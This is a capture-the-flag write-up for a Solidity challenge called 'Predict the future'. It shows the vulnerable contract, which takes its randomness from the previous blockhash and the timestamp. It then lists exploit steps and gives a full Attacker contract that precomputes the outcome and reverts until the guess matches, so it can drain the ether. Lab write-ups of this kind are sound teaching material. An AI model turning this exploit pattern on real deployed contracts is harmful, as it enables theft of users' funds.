Predict the future
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
Goal
Guess the number to win and get all the ETH from the smart contract
Exploit
- create Attacker contract, and create instance from the PredictTheFutureChallenge contract inside the Attacker contract
-
call lockInGuess() function from Attacker contract, this function will make external call to the lockInGuess() function inside PredictTheFutureChallenge contract, with 1 as argument for the n parameter
- the guessing number should be in range from 0 to 9, since the equation for getting the answer uses % 10
-
this step would probably need to be repeated: call takeTheMoney() external function inside Attacker, here we check if the answer will be equal to the previously locked in guess
- if it is we call the seetle() function from PredictTheFutureChallenge contract
- if it is not we revert the transaction, this allows us to stay in the game
Attacker contract code
contract Attacker {
PredictTheFutureChallenge private predictFuture;
function Attacker(address _predictFuture) public {
predictFuture = PredictTheFutureChallenge(_predictFuture);
}
function lockInGuess() external payable {
predictFuture.lockInGuess.value(msg.value)(1);
}
function takeTheMoney() external {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
require(answer == 1);
predictFuture.settle();
}
}